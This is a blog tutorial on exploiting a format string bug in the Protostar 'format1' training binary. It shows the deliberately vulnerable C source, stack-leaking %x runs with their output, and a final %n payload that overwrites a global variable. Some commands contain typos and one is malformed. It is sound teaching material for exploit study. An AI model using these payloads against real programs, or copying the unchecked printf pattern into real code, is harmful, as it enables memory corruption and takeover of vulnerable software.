RNRF 2021. 11. 3. 00:53

17. A simple Format String exploit example - bin.0x11

: Content
-> format string exploit
-> leaking stack memory
-> arbirary write

: First, what is the format string?
-> A typical function, "printf," is the printing of formalized data on standard output.
-> SYNOPSIS
       #include <stdio.h>
       int printf(const char *format, ...);
       int fprintf(FILE *stream, const char *format, ...);
       int sprintf(char *str, const char *format, ...);
       int snprintf(char *str, size_t size, const char *format, ...);

Tips. Almost the same functions can be used on Python.
-> Ex.) print “%d %x %s” % (123, 2056, “format string test”)
>>> 123 808 format string test

: How on earth can text be misused to print?

: Format1 (C code)(/opt/protostar/bin/format1)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
-> "Main" calls the "vuln" function using the string of "argv[1]".
-> And the string is located in "printf".
-> Then, ensure that the global variable target is present and modified.

: But how can you manipulate the variables in memory with "printf"?
-> ./format1 “%d”
-> 134518284
-> ./format1 “%d %d %d %d”
-> 134518284 -1073743896 134513769 -1208122620
-> ./fromat1 “%x %x %x %x”
-> 804960c bffff7e8 8048469 b7fd8304
-> What does the value starting with "buff" conjure up?
-> It's a stack address.
: The parameter is simply placed in the stack and then the function is called.
-> Therefore, if "printf" is used normally, the variable you want to output is placed in the stack.
-> What values are you reading because no variables are currently placed in the stack?
-> Obviously you are reading the "printf" you can find in the stack. That's all the value in the stack.
-> So what can you do with it?
-> Memory leak vulnerability is available.
-> All kinds of items from the stack can leak.
-> For example, a bug like "heartbleed" was a leak in some memory.

: See "man 3 printf" to identify vulnerabilities.
-> "%n" is already printed text as the amount of output.
-> A variable is part of the memory.
-> And we know that we need to use a pointer to position the area.
-> Therefore, to draw up a legitimate C program with "%n", pointers to integers must be placed.
: Conclusion. Whatever the value in the stack, it is used as a position with "printf".
-> Use "objdump -t" to find all the symbols in this binary.
-> format1:     file format elf32-i386

SYMBOL TABLE:
08048114 l    d  .interp        00000000              .interp
08048128 l    d  .note.ABI-tag  00000000              .note.ABI-tag
08048148 l    d  .note.gnu.build-id     00000000              .note.gnu.build-id
0804816c l    d  .hash  00000000              .hash
08048198 l    d  .gnu.hash      00000000              .gnu.hash
080481b8 l    d  .dynsym        00000000              .dynsym
08048218 l    d  .dynstr        00000000              .dynstr
0804826a l    d  .gnu.version   00000000              .gnu.version
08048278 l    d  .gnu.version_r 00000000              .gnu.version_r
08048298 l    d  .rel.dyn       00000000              .rel.dyn
080482a0 l    d  .rel.plt       00000000              .rel.plt
080482c0 l    d  .init  00000000              .init
080482f0 l    d  .plt   00000000              .plt
08048340 l    d  .text  00000000              .text
080484dc l    d  .fini  00000000              .fini
080484f8 l    d  .rodata        00000000              .rodata
08048520 l    d  .eh_frame      00000000              .eh_frame
08049524 l    d  .ctors 00000000              .ctors
0804952c l    d  .dtors 00000000              .dtors
08049534 l    d  .jcr   00000000              .jcr
08049538 l    d  .dynamic       00000000              .dynamic
08049608 l    d  .got   00000000              .got
0804960c l    d  .got.plt       00000000              .got.plt
08049628 l    d  .data  00000000              .data
08049630 l    d  .bss   00000000              .bss
00000000 l    d  .stab  00000000              .stab
00000000 l    d  .stabstr       00000000              .stabstr
00000000 l    d  .comment       00000000              .comment
00000000 l    df *ABS*  00000000              crtstuff.c
08049524 l     O .ctors 00000000              __CTOR_LIST__
0804952c l     O .dtors 00000000              __DTOR_LIST__
08049534 l     O .jcr   00000000              __JCR_LIST__
08048370 l     F .text  00000000              __do_global_dtors_aux
08049630 l     O .bss   00000001              completed.5982
08049634 l     O .bss   00000004              dtor_idx.5984
080483d0 l     F .text  00000000              frame_dummy
00000000 l    df *ABS*  00000000              crtstuff.c
08049528 l     O .ctors 00000000              __CTOR_END__
08048520 l     O .eh_frame      00000000              __FRAME_END__
08049534 l     O .jcr   00000000              __JCR_END__
080484b0 l     F .text  00000000              __do_global_ctors_aux
00000000 l    df *ABS*  00000000              format1.c
0804960c l     O .got.plt       00000000              .hidden _GLOBAL_OFFSET_TABLE_
08049524 l       .ctors 00000000              .hidden __init_array_end
08049524 l       .ctors 00000000              .hidden __init_array_start
08049538 l     O .dynamic       00000000              .hidden _DYNAMIC
08049628  w      .data  00000000              data_start
08048440 g     F .text  00000005              __libc_csu_fini
08048340 g     F .text  00000000              _start
00000000  w      *UND*  00000000              __gmon_start__
00000000  w      *UND*  00000000              _Jv_RegisterClasses
080484f8 g     O .rodata        00000004              _fp_hw
080484dc g     F .fini  00000000              _fini
00000000       F *UND*  00000000              __libc_start_main@@GLIBC_2.0
080484fc g     O .rodata        00000004              _IO_stdin_used
08049628 g       .data  00000000              __data_start
0804962c g     O .data  00000000              .hidden __dso_handle
08049530 g     O .dtors 00000000              .hidden __DTOR_END__
08048450 g     F .text  0000005a              __libc_csu_init
00000000       F *UND*  00000000              printf@@GLIBC_2.0
08049630 g       *ABS*  00000000              __bss_start
080483f4 g     F .text  00000028              vuln
08049638 g     O .bss   00000004              target
0804963c g       *ABS*  00000000              _end
00000000       F *UND*  00000000              puts@@GLIBC_2.0
08049630 g       *ABS*  00000000              _edata
080484aa g     F .text  00000000              .hidden __i686.get_pc_thunk.bx
0804841c g     F .text  0000001b              main
080482c0 g     F .init  00000000              _init
-> And here's the address of the target variable.
-> Now "printf" must find this address to write something on this location.
-> Let's experiment briefly with "python -c."
-> python -c “print ‘%x’*10”
-> %x%x%x%x%x%x%x%x%x%x
-> ./format1 "`python -c "print '%x '*10"`"
-> 804960c bffff7d8 8048469 b7fd8304 b7fd7ff4 bffff7d8 8048435 bffff99b b7ff1040 804845b
-> ./format1 "`python -c "print '%x '*100"`"
-> 804960c bffff6c8 8048469 b7fd8304 b7fd7ff4 bffff6c8 8048435 bffff88d b7ff1040 804845b b7fd7ff4 8048450 0 bffff748 b7eadc76 2 bffff774 bffff780 b7fe1848 bffff730 ffffffff b7ffeff4 804824d 1 bffff730 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff748 30396ab6 1a6cbca6 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff774 8048450 8048440 b7ff1040 bffff76c b7fff8f8 2 bffff883 bffff88d 0 bffff9ba bffff9c8 bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe0 0 20 b7fe2414 21 b7fe2000 10 f8bfbff 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9
-> ./format1 "`python -c "print '%x '*200"`"
-> 804960c bffff598 8048469 b7fd8304 b7fd7ff4 bffff598 8048435 bffff761 b7ff1040 804845b b7fd7ff4 8048450 0 bffff618 b7eadc76 2 bffff644 bffff650 b7fe1848 bffff600 ffffffff b7ffeff4 804824d 1 bffff600 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff618 bc3186e5 9662b0f5 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff644 8048450 8048440 b7ff1040 bffff63c b7fff8f8 2 bffff757 bffff761 0 bffff9ba bffff9c8 bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe0 0 20 b7fe2414 21 b7fe2000 10 f8bfbff 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff73b 1f bffffff2 f bffff74b 0 0 0 c000000 6345ad6b 25cd21ed d4478db3 69fab7a9 363836 0 2e000000 726f662f 3174616d 20782500 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 
-> What's this pattern that you find here?
-> The hexadecimal value can be ASCII.
-> A hexadecimal is only a space after all.
-> Use Python to convert hexadecimal values to ASCII characters.
-> python
>>> “25207825".decode('hex')
'% x%'
-> To facilitate recognition of these ASCII values, some strings are added.
-> ./format1 "`python -c "print ‘AAAAAAAA’+'%x '*200"`"
-> AAAAAAAA804960c bffff588 8048469 b7fd8304 b7fd7ff4 bffff588 8048435 bffff759 b7ff1040 804845b b7fd7ff4 8048450 0 bffff608 b7eadc76 2 bffff634 bffff640 b7fe1848 bffff5f0 ffffffff b7ffeff4 804824d 1 bffff5f0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff608 5576e88a 7f25be9a 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff634 8048450 8048440 b7ff1040 bffff62c b7fff8f8 2 bffff74f bffff759 0 bffff9ba bffff9c8 bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe0 0 20 b7fe2414 21 b7fe2000 10 f8bfbff 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff72b 1f bffffff2 f bffff73b 0 0 0 4d000000 e4a44918 e8fad54e b5a7c977 69163573 363836 0 0 0 2e000000 726f662f 3174616d 41414100 41414141 20782541 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 
-> This is because program arguments are simply stored in the stack, such as environment variables.
-> That is, the destination's address can be placed directly in the stack.
-> You can reacquire the address of the target and then add the address to the string.
Tips. Wrapping "A" and "B" makes it easy to find in the output.
-> ./format1 "`python -c "print 'AAAA'+'\x38\x96\x04\x08'+'BBBBB'+'%x '*200"`"
-> AAAA8BBBBB804960c bffff588 8048469 b7fd8304 b7fd7ff4 bffff588 8048435 bffff754 b7ff1040 804845b b7fd7ff4 8048450 0 bffff608 b7eadc76 2 bffff634 bffff640 b7fe1848 bffff5f0 ffffffff b7ffeff4 804824d 1 bffff5f0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff608 47fa0e37 6da95827 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff634 8048450 8048440 b7ff1040 bffff62c b7fff8f8 2 bffff74a bffff754 0 bffff9ba bffff9c8 bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe0 0 20 b7fe2414 21 b7fe2000 10 f8bfbff 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff72b 1f bffffff2 f bffff73b 0 0 0 5e000000 97aa4f5d e7a45c08 85e82fea 699a8ac1 363836 0 0 2f2e0000 6d726f66 317461 41414141 8049638 42424242 20782542 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078
-> Theoretically we should change this address to "%n" instead of "%x" printing.
-> The location of the address should be made into the last part through trial and error.
-> ./format1 "`python -c "print 'AAAA'+'\x38\x96\x04\xBBBBB'+'%x '*128"`"
(Same) -> ./format1 "`python -c "print 'AAAA'+'\x38\x96\x04\x08'+'BBBBB'+'%x '*127+'%x '"`"
-> AAAA8BBBBB804960c bffff668 8048469 b7fd8304 b7fd7ff4 bffff668 8048435 bffff82c b7ff1040 804845b b7fd7ff4 8048450 0 bffff6e8 b7eadc76 2 bffff714 bffff720 b7fe1848 bffff6d0 ffffffff b7ffeff4 804824d 1 bffff6d0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6e8 d18da1f8 fbd937e8 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff714 8048450 8048440 b7ff1040 bffff70c b7fff8f8 2 bffff822 bffff82c 0 bffff9ba bffff9c8 bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe0 0 20 b7fe2414 21 b7fe2000 10 f8bfbff 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff80b 1f bffffff2 f bffff81b 0 0 0 2e000000 a071f497 bd439730 23fe257b 692f5983 363836 2f2e0000 6d726f66 317461 41414141 8049638
-> ./format1 "`python -c "print 'AAAA'+'\x38\x96\x04\x08'+'BBBBB'+'%x '*127+'%n '"`"
-> AAAA8BBBBB804960c bffff668 8048469 b7fd8304 b7fd7ff4 bffff668 8048435 bffff82c b7ff1040 804845b b7fd7ff4 8048450 0 bffff6e8 b7eadc76 2 bffff714 bffff720 b7fe1848 bffff6d0 ffffffff b7ffeff4 804824d 1 bffff6d0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6e8 ad7dc38e 8729559e 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff714 8048450 8048440 b7ff1040 bffff70c b7fff8f8 2 bffff822 bffff82c 0 bffff9ba bffff9c8 bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe0 0 20 b7fe2414 21 b7fe2000 10 f8bfbff 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff80b 1f bffffff2 f bffff81b 0 0 0 4a000000 9164bbf1 a378a948 e2385165 69072c2f 363836 2f2e0000 6d726f66 317461 41414141  you have modified the target :)

: If you can write anywhere in the memory can overwrite any content you can imagine.

: Final Python Code
-> ./format1 "`python -c "print 'AAAA'+'\x38\x96\x04\x08'+'BBBBB'+'%x '*127+'%n '"`"

Tips. Here are some tips to help you work with format string exploits. It is good to keep the attack string the same length all the time.
-> Ex.) python
>>> def pad(s):
… (TAB) return (s+”A”*500)[:500]

>>> pad(”Hallo “)
'Hallo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'